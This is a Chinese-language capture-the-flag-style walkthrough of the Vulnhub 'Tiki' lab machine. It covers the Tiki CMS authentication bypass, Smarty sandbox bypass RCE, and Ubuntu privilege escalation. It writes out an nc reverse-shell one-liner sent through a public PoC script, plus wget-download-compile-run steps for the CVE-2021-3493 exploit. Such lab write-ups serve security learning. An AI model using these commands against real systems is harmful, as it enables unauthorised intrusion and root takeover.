前言
距离上一次打靶机仿佛就在昨天… 五一不想回家,打打靶机吧…
这一次可有意思了,没有看wp居然能把这个靶机给拿下了,我是不怎么理解的,一般来说,我做到差不多的时候基本上就是做不出来了,也没什么思路,这个时候与其瞎想乱撞还不如直接看wp学习来的快。
后面看了wp之后,我不是这道题目本来的做法做出来,还有点小暗喜呢… 我的方法相对来说比较绕一点,不过下面两种方法都会复现。先按照原本的,再按我的。
准备
知识点
- Tiki CMS CVE漏洞利用认证绕过漏洞(CVE-2020-15906)
- 普通用户sudo提权
- Ubuntu提权漏洞
- Smarty沙盒绕过漏洞(CVE-2021-26119)
参考文章
知乎:Vulnhub靶机:Tiki(适合新手练习漏洞搜索和利用)(这个wp不推荐但还是能看)
csdn:VulnHub靶场-Tiki
工具
反弹shell:https://www.ddosi.org/shell/
Ubuntu 20.04 LTS提权:https://github.com/briskets/CVE-2021-3493
认证绕过脚本(kali上也有,但是这个可以把命令也执行了):https://srcincite.io/pocs/cve-2021-26119.py.txt
Vulnhub靶机下载
官网地址:https://www.vulnhub.com/entry/tiki-1,525/
开始-sudo提权
信息收集
探测内网靶机ip地址,常规操作了
netdiscover -r 192.168.30.0/24
探测出来ip为:192.168.30.129
nmap探测开放端口
nmap -sS -T4 -v -O 192.168.30.129
80端口有开放,访问一下
结果为Ubuntu的apache的默认首页,常规操作目录扫描,添加-r参数不递归,打这个靶机的时候不知道有这操作,将整个网站目录都递归出来的…
dirb http://192.168.30.129/ -r
扫描出来有个robots.txt文件,访问,有个tiki目录,接着访问
这是一个Tiki Wiki CMS Groupware框架,初次了解这个框架。说实话,其实可以用Wappalyzer插件识别一下什么CMS插件
经过搜索引擎查询资料得知,这个CMS是存在有CVE漏洞,而且vulnhub描述上也说明有CVE漏洞。我们可以查询一下该CMS的版本号
访问http://192.168.30.129/tiki/changelog.txt
该CMS的版本为21.1,该版本存在为认证绕过漏洞(CVE-2020-15906)
简单说明一下:当管理员账户连续错误60次以上再输入空密码即可绕过认证。
有3种方式可以实现:
- 使用bp抓取登陆数据包并发送60次错误登陆请求,最后放行
- 使用kali自带的爆破脚本,bp抓取放行空密码(本文实现)
- 使用网络上存在有的python脚本(该脚本可以任意命令执行)
其实以上1、2、3方法我都尝试过,本文仅复现2、3方式
kali自带脚本-Tiki漏洞利用认证绕过漏洞
使用以下命令查询是否存在CMS绕过脚本
searchsploit Tiki wiki 21.1
searchsploit -p php/webapps/48927.py
使用该脚本爆破60次admin账户
python3 /usr/share/exploitdb/exploits/php/webapps/48927.py 192.168.30.129
bp抓取登陆包,并修改为空密码,成功登陆
(以上两张图片为网图,实验时的图片已丢失能看懂就行啦)
成功登陆CMS的第一件事就是,找啊,找啊,找上传点…
找了半天,上传点都无法成功上传shell…
于是,看了wp(这是已经获取flag才看的),第一次是直接用上面的第三种方式,利用网上的一个python脚本可以实现任意命令执行。但是这种方式好像不是很符合本题目的意思。
查看一个文件
该文件包含存在有一个用户,结合前面开放了22端口,应该是让我们去登陆该账户
该账户是可以使用sudo命令,就这样flag.txt就出来了
以下是使用第3种方式通过
RCE-Smarty沙盒绕过漏洞+Tiki漏洞利用认证绕过漏洞
该脚本地址:https://srcincite.io/pocs/cve-2021-26119.py.txt
使用该脚本反弹shell
python3 cve-2021-26119.py 192.168.30.129 "/tiki/" "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.30.102 7777 >/tmp/f"
反弹shell成功,需要提权,查看该Linux版本
uname -a
cat /proc/version
lsb_release -a
该Ubuntu版本存在一个提权漏洞CVE-2021-3493
利用工具:https://github.com/briskets/CVE-2021-3493
将该工具上传到kali中,并开启python的http模式
python3 -m http.server 8089
目标机下载该提权文件编译并执行
wget http://192.168.30.102:8089/exploit.c
gcc exploit.c -o exploit
chmod +x exploit
./exploit
提权成功,并成功获取flag.txt
其实,第一次我都不是使用上面的方式通过的
我拿到shell了以后,一直苦恼如何将文件上传,于是,想到了使用webshell这种方式。但这种不也要上传马上去吗?我有反弹shell是可以写文件的,像php的一句话木马还好,要是jsp这种一长串一长串的,我又该如何写呢?反弹shel又不能使用vim直接写进去,我只能使用echo。当时还自作多情直接将冰蝎马复制上去,显而易见是没有成功了。其实,可以使用base64编码的,只是一时间没起来有这种方式,归根到底就是实战经验少嘛。多打几次就有经验了
上传马之后就是常规操作了,上传提权文件>提权>拿flag
总结
- 首次使用CMS漏洞
- 该靶机通过的方式有多种,比如:sudo提权、Ubuntu提权
- 使用到的python脚本挺多
- 查看Ubuntu版本
- 使用base64编码写入webshell
- Smarty沙盒绕过漏洞-RCE反弹shell